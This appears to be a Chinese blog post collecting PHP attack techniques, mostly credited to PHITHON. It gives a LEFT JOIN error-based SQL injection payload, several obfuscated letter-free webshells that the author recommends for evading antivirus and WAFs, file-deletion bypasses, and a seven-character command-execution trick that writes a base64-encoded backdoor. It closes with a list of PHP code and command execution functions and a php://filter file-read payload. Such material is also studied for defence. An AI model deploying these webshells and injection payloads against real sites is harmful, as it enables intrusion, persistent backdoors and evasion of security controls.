PHP一些不一样的思路
大多数来自p牛
SQL注入(left join)
源代码
<?php
$link = mysqli_connect('localhost', 'root', 'root');
mysqli_select_db($link, 'code');
$table = addslashes($_GET['table']);
$sql = "UPDATE `{$table}`
SET `username`='admin'
WHERE id=1";
if(!mysqli_query($link, $sql)) {
echo(mysqli_error($link));
}
mysqli_close($link);
注入后语句
UPDATE `table` t left join (select char(97) as user from dual where (extractvalue(1,concat(0x7e,(select user()),0x7e)))) tt on tt.user=t.username
SET username='admin'
WHERE id=1;
注入思路
源代码使用
addslashes过滤用户输入,因此单引号、双引号以及反斜杠都会被转义;其次整个SQL语句没有写在单行代码中,因此无法使用正常的单行注释进行注释,UPDATE操作不同于SELECT操作,SELECT操作更加自由,它能自由组合UNION操作、分号多语句执行,但是UPDATE操作可与LEFT JOIN进行联合查询;
从源代码中看出,存在SQL语句的报错回显
char编码- 使用
left join进行联合查询 - 使用报错注入
char编码
不包含数字和字母的webshell
转载来源:PHITHON
感觉对免杀有帮助,过WAF的话,可以直接借助AntSword
源代码
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
?>
思路
通过将字符通过各种非字母数字的字符进行转换,然后构造出任意字符,最终利用PHP的动态函数执行的特性,凭借为一个函数名,并执行函数
PHP5和PHP7存在一定的差异,如:PHP5中assert可以作为函数执行任意代码,$f='assert';$f(...);,
而PHP7中assert不是函数,而变成了语言结构,不能作为函数名执行代码,但可以利用其它函数同样getshell,如:file_put_content
PS: file_put_contents(filename,content,8)以追加模式写入文件
方法一
使用两个非字母非数字字符进行异或操作生成一个指定的字符,以此类推,得到所有预计的字母数字等
<?php
$_='assert'; //$_='assert'
$__='_'.'POST'; //$__='_'.'POST'
$___=$$__; //$___=$_POST
$_($___[_]); //assert($_POST[_])
?>
将每个字母通过两个非字母非数字字符进行异或获取,然后进行拼接
方法二
使用UTF-8编码的某个汉字,并将其中某个字符取出来,如:'和'{2}取汉字“和”的第二个字符结果为"\x8c",其取反即为字母s,通过这种方法可获取任意字母,其中2这个数字可以通过('>'>'<')+('>'>'<')获取
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
?>
方法三
PHP中有这样几个特性:
强制将数组和字符串进行拼接,数组会被转换成字符串,结果为
Array'a'++得到b2等于('>'>'<')+('>'>'<')
<?php
$_=[]; //定义$_为数组格式
$_=@"$_"; //通过@关键字将数组强制转换成字符串,导致成为 $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
?>
php文件操作函数的特性
file_put_contents的第一个参数为文件名,第二个参数为一个数组# for example
http://127.0.0.1/shell.php?param[0]=<¶m[1]=?php phpinfo();
一般情况下,
param为单一字符串参数,而因为后端语言为PHP,加之file_put_content的特性,因此此处可采用上述数组参数的格式file_put_contents、copy、file_get_contents等读写操作与unlink、file_exists等判断文件函数之间对文件路径的处理存在一定的差异,导致当前面的读写文件的函数与判断文件的函数一起使用时,造成删除绕过;读写文件函数会在写文件之前将文件路径转换成绝对路径再进行处理,而判断文件函数只会判断文件名是否存在,对于相对路径是不会处理的,从而达到绕过linux可通过../test.php、test.php/. 来绕过删除
windows可通过test.php:test tst.ph<绕过文件删除
Windows举例(windows不支持 \ / : * ? " < > | 所以会自动将后面的字符过滤掉)
http://127.0.0.1/l.php?user[name]=2.php:test&user[info]=2y 会生成2.php
http://127.0.0.1/l.php?user[name]=2.ph<&user[info]=2y 会写入内容
个人觉得删除临时文件时可能有一些用处,环境太复杂,很难有满足条件的实际场景
eval长度限制绕过
源代码
<?php
$param=$_REQUEST['param'];
if(strlen($param)<17&&strpos($param,'eval')===false&& strpos($param,'assert')==false){
eval($param);
}
?>
- 参数长度小于等于16
- 不能使用
assert和eval函数
突破七个字符限制的任意命令执行
源代码
<?php
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>
思路
首先这段PHP代码逻辑表明:必然能执行任意代码,并且只会受到长度限制,因此采用终极手段:Linux下的重定向。由于长度有限制,所以采用点婉转的手段
# w在linux下用于查看用户当前登录状态
# > 在Linux中代表重定向
# 下面的命令意思是:将w生成的输出重定向到文件名为php,结果在当前目录下就会生成文件名为php的文件,考虑到有些关键字母可能会影响命令执行,如>,因此在写入木马字符串时,采用经过base64编码的木马字符串,相当于采用这种方法生成一个一句话变形木马
w > php
# 上述方法可以在当前目录生成我们想要生成的文件名的文件,然后我们需要将这些文件名进行拼接形成一个完整的木马字符串,最后写入文件
#这条命令能按照时间顺序对文件进行排序,并将所有文件名进行拼接写入文件0中
ls -t>0
# 最后执行shell脚本,生成php木马文件
sh 0
# 文件名拼接后完整字符串为:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7| base64 -d>c.php
方法一:命令执行
eval
危害:执行任意PHP代码
参数:字符串
注意:在PHP5.x中,如果在执行的代码中存在parse error,不会影响后续代码的执行;但是在PHP7.x中,一旦执行的代码中存在一个parse error,那么后续代码中的eval函数就无法正常执行,并会抛出ParseError异常
assert
危害:第一个参数assertion被当做PHP代码执行
参数:必要参数assertion作为字符串会被当做代码进行执行,可选参数description当assertion执行失败时,作为错误信息返回的一部分进行显示
preg_replace
危害:当该函数使用/e修饰符时,preg_replace会把replacement参数当做PHP代码执行
参数:pattern是搜索的模式,字符串或字符串数组;replacement是要替换的字符串或字符串数组,subject是进行搜索和替换的字符串或字符串数组;limit是替换的次数,-1表示无限次;count指定完成替换的次数
原理:使用\e模式后,preg_replace函数在替换完字符串之后,会使用eval函数对结果进行执行以作评估,此处便达到了执行PHP代码的目的
注意:从PHP.5.5.0起,\e模式会产生E_DEPRECATED的错误;从PHP7.0.0起,\e会产生E_WARNING错误
create_function
危害:执行系统命令
使用方法:
第二个参数为回调函数,第一个参数作为回调函数的参数
$newFunc=create_function('$v','return system($v);');
$newFunc('whoami');
call_user_func
功能:命令执行
使用方法:第一个参数是作为回调函数,其他参数作为回调函数的参数
call_user_func(system,$_GET[cmd]);
call_user_func_array
功能:命令执行,与call_user_func_array类似
使用方法:
第一个参数作为回调函数,参数数组作为回调函数的参数
call_user_func_array(file_put_contents,['filename','木马字符串'])
call_user_func_array(system,[$_GET['cmd']])
文件包含
文件包含也分两种:本地文件包含、远程文件包含,可以直接getshell,也能通过file等协议读取本地文件
include($_GET['file']);
?file=php://filter/convert.base64-encode/resource=index.php
解释:?file=php://协议/过滤器/文件
includerequireinclude_oncerequire_once
命令执行函数
exec
功能:执行一个外部程序
使用方法:echo exec($_GET[cmd]);
passthru
功能:执行外部程序并显示原始输出
使用方法:passthru($_GET[cmd]);
proc_open
功能:执行一个命令,并打开用来输入/输出的文件
使用方法:https://php.net/manual/zh/function.proc-open.php
shell_exec
功能:通过shell环境执行命令,并将完整的输出以字符串的方式返回
使用方法:echo shell_exec($_GET[cmd]);
system
功能:执行外部程序,并显示输出
使用方法:system($_GET[cmd]);
popen
通过popen()的参数传递一条命令,并对popen打开的文件进行执行
使用方法:https://php.net/manual/zh/function.popen.php
PHP一些不一样的思路的更多相关文章
- .net点选验证码实现思路分享
哈哈好久没冒泡了,最进看见点选验证码有点意思,所以想自己写一个. 先上效果图 如果你被这个效果吸引了就请继续看下去. 贴代码前先说点思路: 1.要有一个汉字库,并按字形分类.(我在数据库里是安部首分类 ...
- TYPESDK手游聚合SDK服务端设计思路与架构之一:应用场景分析
TYPESDK 服务端设计思路与架构之一:应用场景分析 作为一个渠道SDK统一接入框架,TYPESDK从一开始,所面对的需求场景就是多款游戏,通过一个统一的SDK服务端,能够同时接入几十个甚至几百个各 ...
- 整理下.net分布式系统架构的思路
最近看到有部分招聘信息,要求应聘者说一下分布式系统架构的思路.今天早晨正好有些时间,我也把我们实际在.net方面网站架构的演化路线整理一下,只是我自己的一些想法,欢迎大家批评指正. 首先说明的是.ne ...
- js数组去重几种思路
在一些后台语言中都内置了一些方法来处理数组或集合中重复的数据.但是js中并没有类似的方法,网上已经有一些方法,但是不够详细.部分代码来源于网络.个人总计如下:大致有4种思路 1)使用两次循环比较原始的 ...
- [Django]用户权限学习系列之设计自有权限管理系统设计思路
若在阅读本片文章遇到权限操作问题,请查看本系列的前两章! http://www.cnblogs.com/CQ-LQJ/p/5609690.html和http://www.cnblogs.com/CQ- ...
- 分享一个CQRS/ES架构中基于写文件的EventStore的设计思路
最近打算用C#实现一个基于文件的EventStore. 什么是EventStore 关于什么是EventStore,如果还不清楚的朋友可以去了解下CQRS/Event Sourcing这种架构,我博客 ...
- ENode框架单台机器在处理Command时的设计思路
设计目标 尽量快的处理命令和事件,保证吞吐量: 处理完一个命令后不需要等待命令产生的事件持久化完成就能处理下一个命令,从而保证领域内的业务逻辑处理不依赖于持久化IO,实现真正的in-memory: 保 ...
- WebGIS中快速整合管理多源矢量服务以及服务权限控制的一种设计思路
文章版权由作者李晓晖和博客园共有,若转载请于明显处标明出处:http://www.cnblogs.com/naaoveGIS/ 1.背景 在真实项目中,往往GIS服务数据源被其他多个信息中心或者第三方 ...
- 浅谈利用SQLite存储离散瓦片的思路和实现方法
文章版权由作者李晓晖和博客园共有,若转载请于明显处标明出处:http://www.cnblogs.com/naaoveGIS/ 1.背景 在多个项目中涉及到互联网地图的内网显示,通过自制工具完成了互联 ...
- Unity iOS混合开发界面切换思路
Unity iOS混合开发界面切换思路 最近有很多博友QQ 私信 或则 留言联系我,请教iOS和Unity界面之前相互切换的问题,源代码就不私下发你们了,界面跳转功能的代码我直接贴到下面好了,顺带说i ...
随机推荐
- sql查询:部门工资前三高的员工和部门工资最高的员工
创建表:Create table If Not Exists Employee (Id int, Name varchar(255), Salary int, DepartmentId int);Cr ...
- 第五章 Linux操作系统关机、重启、注销及其查看ip命令
一.更新系统时间与网络时间同步 1. 安装ntpdate工具 # yum -y install ntp ntpdate 2. 设置系统时间与网络时间同步 # ntpdate cn.pool.ntp ...
- 一份超全的Python学习资料汇总
一.学习Python必备技能图谱二.0基础如何系统学习Python?一.Python的普及入门1.1 Python入门学习须知和书本配套学习建议1.2 Python简史1.3 Python的市场需求及 ...
- find for /f 分割字符串 bat
@Echo off::总用例数For /f "tokens=2" %%i in ('Type bat.txt^|Find "Ran"') do (Echo %% ...
- Redis分布式锁及分区
以下内容是翻译的官网文档RedLock和分区部分,可以简单了解分布式锁在redis如何实现及其方式 redis分区的方法 redis实现的分布式锁RedLock算法,分布式锁,即在多个master上获 ...
- linux启动oracle服务 和监听
(1) su - oracle 切换成oracle 用户 (2)sqlplus / as sysdba (3)startup: (4)quit:退出sql模式 exit 退出oracle用户 (5)l ...
- python读取文件遇到问题及解决
用python的open()函数打开文件时, 1.文件写绝对路径报IOError: [Errno 2] No such file or directory.文件改为相对路径(只写文件名)解决该问题 2 ...
- 修改Anaconda中Jupyter Notebook默认工作路径
修改Anaconda中Jupyter Notebook默认工作路径 1.打开 Anaconda Prompt 2.输入命令 jupyter notebook --generate-config 这个命 ...
- 【总结】swagger
1.swagger概念及配置 1.1基本概念 1.是一款让你更好的书写API文档的规范且完整框架. 2.提供描述.生产.消费和可视化RESTful Web Service. 3.是由庞大工具集合支撑的 ...
- Scala-1-字符处理
// s插值val s = s"a = $a, b = $b"val s = s"a = ${a*2}, b = ${b*3}" // 顶格 及 插值val s ...